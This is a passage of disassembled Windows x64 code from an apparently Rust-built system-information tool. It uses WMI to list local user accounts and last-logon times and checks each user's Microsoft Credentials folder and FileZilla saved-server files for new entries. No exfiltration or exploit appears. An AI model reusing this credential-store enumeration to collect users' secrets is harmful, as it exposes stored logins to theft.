and qword [rsp + 0x4e0], 0
lea rdi, [rsp + 0xe20]
mov rcx, rdi
mov rdx, rbx
call fcn.14004ed2f
mov ebx, dword [rdi + 8]
mov edi, ebx
sar edi, 0xd
mov dword [rsp + 0x930], edi
lea rcx, [0x140277aa0]
mov edx, edi
call fcn.14004e9a5
test al, al
je 0x140020f2e
mov esi, 0x64
mov eax, edi
cdq
idiv esi
lea rcx, [rsp + 0x4d0]
mov edx, eax
call fcn.14004f08c
test al, al
jne 0x1400211cc
mov eax, dword [rsp + 0x930]
cdq
idiv esi
lea rcx, [rsp + 0x4d0]
call fcn.14004f08c
jmp 0x140020fc2
lea rax, [rsp + 0x930]
mov qword [rsp + 0xf40], rax
lea rax, [0x14005f720]
mov qword [rsp + 0x990], 2
and qword [rsp + 0x9a0], 0
mov qword [rsp + 0x9a8], 5
and qword [rsp + 0x9b0], 0
mov qword [rsp + 0xf48], rax
movabs rax, 0x900000020
mov qword [rsp + 0x9b8], rax
mov byte [rsp + 0x9c0], 3
lea rdx, [rsp + 0x260]
mov qword [rdx], rsi
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x20], r13
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x4d0]
call fcn.14004e9c1
test al, al
jne 0x1400211cc
lea rcx, [rsp + 0x4d0]
mov edx, 0x2d
call fcn.14001011d
and ebx, 0x1fff
xor edx, edx
lea rsi, [0x140277f38]
cmp ebx, 0x16e7
ja 0x140020fff
mov eax, ebx
shr eax, 3
movzx eax, byte [rax + rsi]
lea edx, [rbx + rax*8]
shr edx, 9
lea rcx, [rsp + 0x4d0]
call fcn.14004f08c
test al, al
jne 0x1400211cc
lea rcx, [rsp + 0x4d0]
mov edx, 0x2d
call fcn.14001011d
xor edx, edx
cmp ebx, 0x16e7
ja 0x14002103f
mov eax, ebx
shr eax, 3
movzx eax, byte [rax + rsi]
lea edx, [rbx + rax*8]
shr edx, 4
and dl, 0x1f
lea rcx, [rsp + 0x4d0]
call fcn.14004f08c
test al, al
jne 0x1400211cc
lea r14, [rsp + 0x4d0]
mov rcx, r14
mov edx, 0x54
call fcn.14001011d
mov ecx, dword [rsp + 0xe20]
mov r8d, dword [rsp + 0xe24]
mov ebp, 0x3c
mov eax, ecx
xor edx, edx
div ebp
mov ebx, eax
mov edi, edx
mov r9d, 0xe10
mov eax, ecx
xor edx, edx
div r9d
lea esi, [r8 - 0x3b9aca00]
cmp r8d, 0x3b9aca00
cmovb esi, r8d
sbb edi, 0xffffffff
mov rcx, r14
mov edx, eax
call fcn.14004f08c
test al, al
jne 0x1400211cc
mov eax, ebx
xor edx, edx
div ebp
mov ebx, edx
lea r14, [rsp + 0x4d0]
mov rcx, r14
mov edx, 0x3a
call fcn.14001011d
mov rcx, r14
mov edx, ebx
call fcn.14004f08c
test al, al
jne 0x1400211cc
lea rbx, [rsp + 0x4d0]
mov rcx, rbx
mov edx, 0x3a
call fcn.14001011d
mov rcx, rbx
mov edx, edi
call fcn.14004f08c
test al, al
jne 0x1400211cc
mov ecx, 0xf4240
mov eax, esi
xor edx, edx
div ecx
mov dword [rsp + 0x810], eax
lea rax, [rsp + 0x810]
mov qword [rsp + 0xf40], rax
lea rax, [0x140057530]
mov qword [rsp + 0x990], 2
and qword [rsp + 0x9a0], 0
mov qword [rsp + 0x9a8], 3
and qword [rsp + 0x9b0], 0
mov qword [rsp + 0xf48], rax
movabs rax, 0x800000020
mov qword [rsp + 0x9b8], rax
mov byte [rsp + 0x9c0], 3
lea rax, [0x14027a820]
lea rdx, [rsp + 0x260]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x20], r13
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x4d0]
call fcn.14004e9c1
test al, al
je 0x140029725
mov cl, 1
lea rdx, str.writing_rfc3339_datetime_to_string_should_never_fail
lea r9, str._z_
mov r8d, 0x34
call fcn.14000fb0f
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0xdd0], rax
movups xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0xdc0], xmm0
movdqu xmm0, xmmword [rsp + 0x11a0]
movdqu xmm1, xmmword [rsp + 0x11b0]
movdqu xmm2, xmmword [rsp + 0x11c0]
movdqa xmmword [rsp + 0x830], xmm2
movdqa xmmword [rsp + 0x820], xmm1
movdqa xmmword [rsp + 0x810], xmm0
mov rax, qword [rsp + 0x1260]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x1270]
mov qword [rsp + 0xd0], rax
xor ecx, ecx
xor edx, edx
call sub.ole32.dll_CoInitializeEx
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov edx, eax
call fcn.14019e1eb
cmp qword [rsi], 0
lea rbx, [rsp + 0x4d0]
je 0x1400212b0
mov rdx, qword [rsp + 0x268]
mov r8d, dword [rsp + 0x270]
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.1401a0336
mov al, byte [rsi]
cmp al, 0x11
jne 0x140029d97
and qword [rsp + 0x40], 0
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
and dword [rsp + 0x20], 0
xor edi, edi
xor ecx, ecx
mov edx, 0xffffffff
xor r8d, r8d
xor r9d, r9d
call sub.ole32.dll_CoInitializeSecurity
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov edx, eax
call fcn.14019e1eb
cmp qword [rsi], rdi
je 0x140021345
mov rdx, qword [rsp + 0x268]
mov r8d, dword [rsp + 0x270]
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.1401a0336
mov al, byte [rsi]
cmp al, 0x11
je 0x140021345
test al, al
jne 0x140029d97
cmp dword [rsp + 0x994], 0x80010119
jne 0x140029d97
lea rcx, [rsp + 0x990]
call fcn.14019eb24
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x140021397
lea rax, str.Calling_CoCreateInstance_for_CLSID_WbemLocator
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.wmi::connection
mov edx, 4
mov r9d, 0xb9
call fcn.14008c68e
and qword [rsp + 0x990], 0
mov qword [rsp + 0x20], r13
lea rcx, [0x140345ac8]
lea r9, [0x1403459a8]
xor edi, edi
xor edx, edx
mov r8d, 1
call sub.ole32.dll_CoCreateInstance
test eax, eax
js 0x140021454
mov rsi, qword [rsp + 0x990]
test rsi, rsi
je 0x140021460
mov qword [rsp + 0xf40], rsi
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x140021489
mov qword [rsp + 0x4d0], r12
lea rax, [0x140345ae8]
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x14019e855]
mov qword [rsp + 0x4d8], rdx
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rax
lea r8, str.wmi::connection
mov edx, 4
mov r9d, 0xbd
call fcn.14008c68e
mov rsi, qword [rsp + 0xf40]
jmp 0x140021489
mov ecx, eax
call fcn.14019dd03
mov rsi, rax
mov edi, edx
lea rbx, [rsp + 0x260]
mov rcx, rbx
mov rdx, rsi
mov r8d, edi
call fcn.1401a0336
mov bl, byte [rbx]
cmp bl, 0x11
jne 0x140029e89
mov rsi, qword [rsp + 0x268]
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x1400214db
lea rax, str.Calling_ConnectServer
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.wmi::connection
mov edx, 4
mov r9d, 0xc3
call fcn.14008c68e
lea rcx, [0x140345a13]
mov edx, 0xa
call fcn.14019e565
mov rbx, rax
and qword [rsp + 0x990], 0
mov rax, qword [rsi]
mov qword [rsp + 0x40], r13
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], pe_nt_image_headers64
and qword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x14002153f
mov rdi, qword [rsp + 0x990]
test rdi, rdi
setne bpl
jmp 0x14002154e
mov ecx, eax
call fcn.14019dd03
mov rdi, rax
mov r14d, edx
xor ebp, ebp
mov ecx, 1
xor edx, edx
call fcn.1401a0a64
mov ecx, 1
xor edx, edx
call fcn.1401a0a64
mov ecx, 1
xor edx, edx
call fcn.1401a0a64
mov ecx, 1
xor edx, edx
call fcn.1401a0a64
mov ecx, 1
mov rdx, rbx
call fcn.1401a0a64
test bpl, bpl
je 0x140021635
mov qword [rsp + 0xf40], rdi
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
mov rax, qword [0x14038d2f0]
cmp rax, 3
lea r8, [rsp + 0x4d0]
jbe 0x14002162b
mov qword [rsp + 0x4d0], r12
lea rax, str.Got_service
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x14019e8b1]
mov qword [rsp + 0x4d8], rdx
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rax
lea r8, str.wmi::connection
mov edx, 4
mov r9d, 0xd3
call fcn.14008c68e
mov rdi, qword [rsp + 0xf40]
mov rcx, rbx
call fcn.14019e0f4
jmp 0x140021683
lea r15, [rsp + 0x260]
mov rcx, r15
mov rdx, rdi
mov r8d, r14d
call fcn.1401a0336
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
xor ecx, ecx
call fcn.14019e0f4
mov rcx, rbx
call fcn.14019e0f4
mov bl, byte [r15]
cmp bl, 0x11
jne 0x140029f14
mov rdi, qword [rsp + 0x268]
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x1400216d5
lea rax, [0x140345a38]
lea rcx, [rsp + 0x990]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea r8, str.wmi::connection
mov edx, 4
mov r9d, 0xa5
call fcn.14008c68e
mov eax, 3
mov dword [rsp + 0x28], eax
and dword [rsp + 0x38], 0
mov dword [rsp + 0x20], eax
and qword [rsp + 0x30], 0
mov rcx, rdi
mov edx, 0xa
xor r8d, r8d
xor r9d, r9d
call sub.ole32.dll_CoSetProxyBlanket
lea rbx, [rsp + 0x990]
mov rcx, rbx
mov edx, eax
call fcn.14019e1eb
cmp qword [rbx], 0
je 0x140021743
mov rdx, qword [rsp + 0x998]
mov r8d, dword [rsp + 0x9a0]
lea rbx, [rsp + 0x260]
mov rcx, rbx
call fcn.1401a0336
mov bl, byte [rbx]
cmp bl, 0x11
jne 0x140029e47
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
lea rsi, [rsp + 0x1370]
mov qword [rsi], rdi
lea r8, str.SELECT_Name__FullName__SID_FROM_win32_UserAccount_WHERE_LocalAccountTrue
lea rdi, [rsp + 0x990]
mov r9d, 0x4b
mov rcx, rdi
mov rdx, rsi
call fcn.14000b103
lea r8, str.src_system_information_users_users_info.rs
lea rcx, [rsp + 0x1358]
mov rdx, rdi
call fcn.14000fb74
lea r8, str.SELECT_Name__LastLogon_FROM_Win32_NetworkLoginProfile_WHERE_LastLogon_IS_NOT_NULL
lea rdi, [rsp + 0x990]
mov r9d, 0x51
mov rcx, rdi
mov rdx, rsi
call fcn.14000b103
lea r8, str.src_system_information_users_users_info.rs
lea rbx, [rsp + 0x930]
mov rcx, rbx
mov rdx, rdi
call fcn.14000fb74
mov rsi, qword [rbx]
mov rbp, qword [rbx + 0x10]
call fcn.140012a42
lea r8, [rsp + 0x280]
lea rcx, [0x140347990]
mov qword [r8 - 0x20], rcx
and qword [r8 - 8], 0
pxor xmm0, xmm0
movdqu xmmword [r8 - 0x18], xmm0
mov qword [r8], rax
mov qword [r8 + 8], rdx
lea rcx, [rsp + 0x260]
xor edx, edx
call fcn.1401a38d8
test rbp, rbp
je 0x1400219d2
lea r12, [0x1402ce69b]
lea rdi, [rsp + 0x990]
mov r8d, 4
mov rcx, rsi
mov rdx, r12
call fcn.14000ab9c
lea rcx, [rsp + 0xf40]
mov rdx, rax
call fcn.140017f25
mov r8d, 9
mov rcx, rsi
lea rdx, str.LastLogonAppDataRoamingMicrosoftCredentials
call fcn.14000ab9c
lea rcx, [rsp + 0x4d0]
mov rdx, rax
call fcn.140017f25
mov rbx, qword [rsp + 0xf40]
test rbx, rbx
je 0x1400218d6
mov r15, qword [rsp + 0xf48]
mov r8, qword [rsp + 0xf50]
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x5c
call fcn.14000f4ae
mov rcx, rdi
call fcn.1400638ff
test rax, rax
je 0x1400218db
mov rcx, rdi
call fcn.1400638ff
test rax, rax
je 0x1400218e0
mov r12, rax
mov r13, rdx
mov rcx, rdx
call fcn.14019d3bb
mov r14, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r12
mov r8, r13
call sub.msvcrt.dll_memcpy
jmp 0x1400218e3
xor r14d, r14d
jmp 0x1400218f5
xor r14d, r14d
jmp 0x1400218ea
xor r14d, r14d
lea r12, [0x1402ce69b]
mov rcx, rbx
mov rdx, r15
call fcn.1401371c1
mov rbx, qword [rsp + 0x4d0]
mov r15, qword [rsp + 0x4d8]
test r14, r14
je 0x14002199d
test rbx, rbx
je 0x14002199d
mov rax, qword [rsp + 0x4e0]
lea r9, [rsp + 0x9a8]
mov qword [r9 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqu xmmword [r9], xmm0
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x998], rdi
mov qword [rsp + 0x9a0], r13
mov qword [rsp + 0xf40], r14
mov qword [rsp + 0xf48], rdi
mov qword [rsp + 0xf50], r13
lea rcx, [rsp + 0x4d0]
lea rdx, [rsp + 0x260]
lea r8, [rsp + 0xf40]
call fcn.140013c6d
mov rcx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
call fcn.140096232
jmp 0x1400219bd
test r14, r14
je 0x1400219ad
mov rcx, r14
mov rdx, rdi
call fcn.1401371c1
test rbx, rbx
je 0x1400219bd
mov rcx, rbx
mov rdx, r15
call fcn.1401371c1
add rsi, 0x30
dec rbp
lea rdi, [rsp + 0x990]
jne 0x140021824
movdqu xmm0, xmmword [rsp + 0x260]
movdqu xmm1, xmmword [rsp + 0x270]
movdqu xmm2, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0xe40], xmm2
movdqa xmmword [rsp + 0xe30], xmm1
movdqa xmmword [rsp + 0xe20], xmm0
lea rcx, [rsp + 0x930]
call fcn.14000ddca
mov rcx, qword [rsp + 0x1368]
test rcx, rcx
mov qword [rsp + 0xe8], rcx
je 0x140022493
movabs rax, 0xf0f0f0f0f0f0f1
cmp rcx, rax
jae 0x140029ba4
mov rax, qword [rsp + 0x1358]
mov qword [rsp + 0x118], rax
imul rsi, rcx, 0x88
mov rcx, rsi
call fcn.1400108b8
mov qword [rsp + 0xd8], rax
test rax, rax
lea rbp, [rsp + 0x4d0]
je 0x140029bab
xor edi, edi
pxor xmm6, xmm6
lea rbx, [rsp + 0x990]
imul rsi, rdi, 0x30
add rsi, qword [rsp + 0x118]
mov r8d, 4
mov rcx, rsi
lea rdx, [0x1402ce69b]
call fcn.14000ab9c
lea rcx, [rsp + 0x7f0]
mov rdx, rax
call fcn.140017f25
mov r8d, 8
mov rcx, rsi
lea rdx, str.FullNameSID
call fcn.14000ab9c
lea rcx, [rsp + 0x730]
mov rdx, rax
call fcn.140017f25
mov r8d, 3
mov rcx, rsi
lea rdx, [0x1402731b0]
call fcn.14000ab9c
lea rcx, [rsp + 0x120]
mov rdx, rax
call fcn.140017f25
mov r15, qword [rsp + 0x7f0]
mov rsi, qword [rsp + 0x800]
lea rcx, [rsp + 0x260]
mov rdx, r15
mov r8, rsi
call fcn.140010921
cmp qword [rsp + 0x260], 0
je 0x140021b95
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x9a0], rax
movdqu xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x990], xmm0
lea rcx, [rsp + 0xe20]
mov rdx, rbx
call fcn.140013b39
mov r14, rax
mov rcx, qword [rsp + 0x990]
mov rdx, qword [rsp + 0x998]
call fcn.1401371c1
test r14, r14
je 0x140021b95
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0xf0]
call fcn.14004b8b0
jmp 0x140021b9e
and qword [rsp + 0xf0], 0
test r15, r15
je 0x1400299da
mov rcx, r15
mov rdx, rsi
mov r8, qword [rsp + 0xa8]
mov r9, qword [rsp + 0xd0]
call fcn.140096256
mov byte [rsp + 0x58], al
lea rcx, [rsp + 0x220]
mov rdx, r15
mov r8, rsi
call fcn.140010921
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x12b0], rax
movups xmm0, xmmword [rsp + 0x730]
movaps xmmword [rsp + 0x12a0], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x150], rax
movdqu xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x140], xmm0
lea rcx, [rsp + 0xf40]
mov rdx, r15
mov r8, rsi
call fcn.140010921
mov rsi, qword [rsp + 0xf40]
mov dword [rsp + 0x50], 2
mov dword [rsp + 0x60], 2
test rsi, rsi
je 0x140021e04
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x70], rdi
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xf50]
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1c8], rax
lea r14, [rsp + 0x1c0]
mov qword [rsp + 0x930], r14
lea r12, [rsp + 0x930]
mov qword [rsp + 0x260], r12
lea r15, [0x14014fd9f]
mov qword [rsp + 0x268], r15
mov edi, 1
mov qword [rsp + 0x20], rdi
mov r8d, 2
mov rcx, rbx
lea rdx, str.C:UsersAppDataRoamingFileZilla_sitemanager.xml
lea r13, [rsp + 0x260]
mov r9, r13
call fcn.14000db98
mov rcx, rbp
mov rdx, rbx
call fcn.1400101cf
mov qword [rsp + 0x1250], r14
lea rax, [rsp + 0x1250]
mov qword [rsp + 0x930], rax
mov qword [rsp + 0x938], r15
mov qword [rsp + 0x20], rdi
mov r8d, 2
mov rcx, rbx
lea rdx, str.C:UsersAppDataRoamingFileZilla_sitemanager.xml
mov r9, r12
call fcn.14000db98
mov rcx, r13
mov rdx, rbx
call fcn.1400101cf
mov r14, qword [rsp + 0x4d0]
mov r12, qword [rsp + 0x4e0]
mov r13, qword [rsp + 0x260]
mov rbp, qword [rsp + 0x270]
mov rcx, r14
mov rdx, r12
call fcn.14000b0cc
xor edi, edi
mov ecx, 0
test al, al
je 0x140021d87
mov r9d, 7
mov rcx, r14
mov rdx, r12
lea r8, str.Servers__new_server_in_sitemanager_was_added
call fcn.1400184b4
mov dword [rsp + 0xb0], eax
mov ecx, 1
mov dword [rsp + 0x60], ecx
mov rcx, r13
mov rdx, rbp
call fcn.14000b0cc
test al, al
je 0x140021dbe
mov r9d, 0xd
mov rcx, r13
mov rdx, rbp
lea r8, str.RecentServers__new_server_in_recentservers_was_added
call fcn.1400184b4
mov dword [rsp + 0xc0], eax
mov edi, 1
mov dword [rsp + 0x68], edi
mov rdx, qword [rsp + 0x268]
mov rcx, r13
call fcn.1401371c1
mov rdx, qword [rsp + 0x4d8]
mov rcx, r14
call fcn.1401371c1
mov rcx, rsi
mov rdx, qword [rsp + 0x78]
call fcn.1401371c1
lea rbp, [rsp + 0x4d0]
mov rdi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x120]
mov r12, qword [rsp + 0x130]
mov rcx, rbp
mov rdx, rsi
mov r8, r12
call fcn.140010921
mov r14, qword [rsp + 0x4d0]
test r14, r14
je 0x140021eeb
mov r13, qword [rsp + 0x4d8]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x930], r14
mov qword [rsp + 0x938], rax
lea rax, [rsp + 0x930]
mov qword [rsp + 0xf40], rax
lea rax, [fcn.14018e887]
mov qword [rsp + 0xf48], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
mov rcx, rbx
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea r9, [rsp + 0xf40]
call fcn.14000db98
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.1400101cf
mov rbp, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x270]
mov rcx, rbp
call fcn.1400185ca
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x78], edx
mov rdx, qword [rsp + 0x268]
mov rcx, rbp
lea rbp, [rsp + 0x4d0]
call fcn.1401371c1
mov rcx, r14
mov rdx, r13
call fcn.1401371c1
mov rcx, rbp
mov rdx, rsi
mov r8, r12
call fcn.140010921
mov r14, qword [rsp + 0x4d0]
mov dword [rsp + 0x70], 2
mov dword [rsp + 0x90], 2
test r14, r14
je 0x140021fdb
mov r13, qword [rsp + 0x4d8]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x930], r14
mov qword [rsp + 0x938], rax
lea rax, [rsp + 0x930]
mov qword [rsp + 0xf40], rax
lea rax, [fcn.14018e887]
mov qword [rsp + 0xf48], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
mov rcx, rbx
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea r9, [rsp + 0xf40]
call fcn.14000db98
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.1400101cf
mov rbp, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x270]
mov rcx, rbp
call fcn.1400185ca
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x88], edx
mov rdx, qword [rsp + 0x268]
mov rcx, rbp
lea rbp, [rsp + 0x4d0]
call fcn.1401371c1
mov rcx, r14
mov rdx, r13
call fcn.1401371c1
mov rcx, rbp
mov rdx, rsi
mov r8, r12
call fcn.140010921
mov r14, qword [rsp + 0x4d0]
test r14, r14
je 0x1400220ad
mov r12, qword [rsp + 0x4d8]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x930], r14
mov qword [rsp + 0x938], rax
lea rax, [rsp + 0x930]
mov qword [rsp + 0xf40], rax
lea rax, [fcn.14018e887]
mov qword [rsp + 0xf48], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
mov rcx, rbx
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea r9, [rsp + 0xf40]
call fcn.14000db98
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.1400101cf
mov r13, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x270]
mov rcx, r13
call fcn.1400185ca
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x80], edx
mov rdx, qword [rsp + 0x268]
mov rcx, r13
call fcn.1401371c1
mov rcx, r14
mov rdx, r12
call fcn.1401371c1
mov ebp, 2
cmp byte [rsp + 0x58], 0
je 0x140022318
mov r8d, 0xb
mov rcx, rbx
lea rdx, [0x14031c474]
call fcn.1401750f0
cmp byte [rsp + 0x9a8], 3
jne 0x140022100
mov rax, qword [rsp + 0x9a0]
mov qword [rsp + 0x1d0], rax
movdqu xmm0, xmmword [rsp + 0x990]
movdqa xmmword [rsp + 0x1c0], xmm0
jmp 0x140022120
mov qword [rsp + 0x1c0], 1
lea rax, [rsp + 0x1c8]
movdqu xmmword [rax], xmm6
mov rcx, rbx
call fcn.14000f34a
lea rcx, [rsp + 0x4d0]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x260], rcx
lea rax, [0x14019d400]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x20], 1
mov r8d, 2
mov rcx, rbx
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea r9, [rsp + 0x260]
call fcn.14000db98
lea rcx, [rsp + 0x930]
mov rdx, rbx
call fcn.1400101cf
mov r14, qword [rsp + 0x930]
mov r8, qword [rsp + 0x940]
mov rcx, rbx
mov rdx, r14
call fcn.14018b790
mov ebp, dword [rsp + 0x9a0]
mov r12, qword [rsp + 0x990]
cmp ebp, 2
je 0x1400221d7
mov r13, qword [rsp + 0x998]
mov r8d, 0x254
lea rcx, [rsp + 0xf40]
lea rdx, [rsp + 0x9a4]
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x938]
mov rcx, r14
call fcn.1401371c1
cmp ebp, 2
jne 0x140022214
mov qword [rsp + 0x1258], r12
mov dword [rsp + 0x1250], 1
lea rcx, [rsp + 0x1258]
call fcn.14000e506
xor r13d, r13d
jmp 0x1400222ad
mov qword [rsp + 0x990], r12
mov qword [rsp + 0x998], r13
mov dword [rsp + 0x9a0], ebp
mov r8d, 0x254
lea rcx, [rsp + 0x9a4]
lea rdx, [rsp + 0xf40]
call sub.msvcrt.dll_memcpy
xor r13d, r13d
lea r14, [rsp + 0x4d0]
lea r12, [rsp + 0x4d8]
lea rbp, [rsp + 0x268]
mov rcx, r14
mov rdx, rbx
call fcn.1401764c0
cmp qword [rsp + 0x4d0], 0
je 0x14002229d
mov r8d, 0x258
mov rcx, rbp
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x260], r13
inc r13
mov rcx, rbp
call fcn.14000f336
jmp 0x140022261
mov rcx, r14
call fcn.14000dd6c
mov rcx, rbx
call fcn.14000e0db
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
call fcn.1401371c1
mov r9d, 0x1a
mov rcx, rbx
lea rdx, [0x1402732da]
lea r8, [0x1402732fe]
call fcn.140018270
mov rcx, rbx
call fcn.140017f44
mov r14d, eax
mov r9d, 0x1d
mov rcx, rbx
lea rdx, [0x140273299]
lea r8, [0x1402732bd]
call fcn.140018270
mov rcx, rbx
call fcn.140017f44
mov r12d, eax
sub r13d, eax
mov ebp, 1
mov rax, qword [rsp + 0x12b0]
mov qword [rsp + 0x9a0], rax
movaps xmm0, xmmword [rsp + 0x12a0]
movaps xmmword [rsp + 0x990], xmm0
movups xmm0, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x270], rax
movaps xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x4e0], rax
mov rdx, qword [rsp + 0x128]
mov rcx, rsi
call fcn.140096232
mov rdx, qword [rsp + 0x7f8]
mov rcx, r15
call fcn.140096232
imul rax, rdi, 0x88
mov rdx, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0x60]
mov dword [rdx + rax], ecx
mov ecx, dword [rsp + 0xb0]
mov dword [rdx + rax + 4], ecx
mov ecx, dword [rsp + 0x68]
mov dword [rdx + rax + 8], ecx
mov ecx, dword [rsp + 0xc0]
mov dword [rdx + rax + 0xc], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rdx + rax + 0x10], ecx
mov ecx, dword [rsp + 0x78]
mov dword [rdx + rax + 0x14], ecx
mov ecx, dword [rsp + 0x90]
mov dword [rdx + rax + 0x18], ecx
mov ecx, dword [rsp + 0x88]
mov dword [rdx + rax + 0x1c], ecx
mov ecx, dword [rsp + 0x70]
mov dword [rdx + rax + 0x20], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rdx + rax + 0x24], ecx
mov dword [rdx + rax + 0x28], ebp
mov dword [rdx + rax + 0x2c], r13d
mov ecx, 1
mov dword [rdx + rax + 0x30], ecx
mov dword [rdx + rax + 0x34], r12d
mov dword [rdx + rax + 0x38], ecx
mov dword [rdx + rax + 0x3c], r14d
mov rcx, qword [rsp + 0x9a0]
mov qword [rdx + rax + 0x50], rcx
movaps xmm0, xmmword [rsp + 0x990]
movups xmmword [rdx + rax + 0x40], xmm0
mov rcx, qword [rsp + 0x270]
mov qword [rdx + rax + 0x68], rcx
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rdx + rax + 0x58], xmm0
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqu xmmword [rdx + rax + 0x70], xmm0
mov rcx, qword [rsp + 0x4e0]
mov qword [rdx + rax + 0x80], rcx
inc rdi
cmp rdi, qword [rsp + 0xe8]
lea rbp, [rsp + 0x4d0]
jne 0x140021a87
jmp 0x1400224a0
mov eax, 8
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0xe20]
call fcn.1401a32f2
lea rcx, [rsp + 0x1358]
call fcn.14000ddca
mov rcx, qword [rsp + 0x1370]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, [0x1402ab11c]
lea rsi, [rsp + 0x4d0]
mov qword [rsi], rax
mov qword [rsi + 8], 2
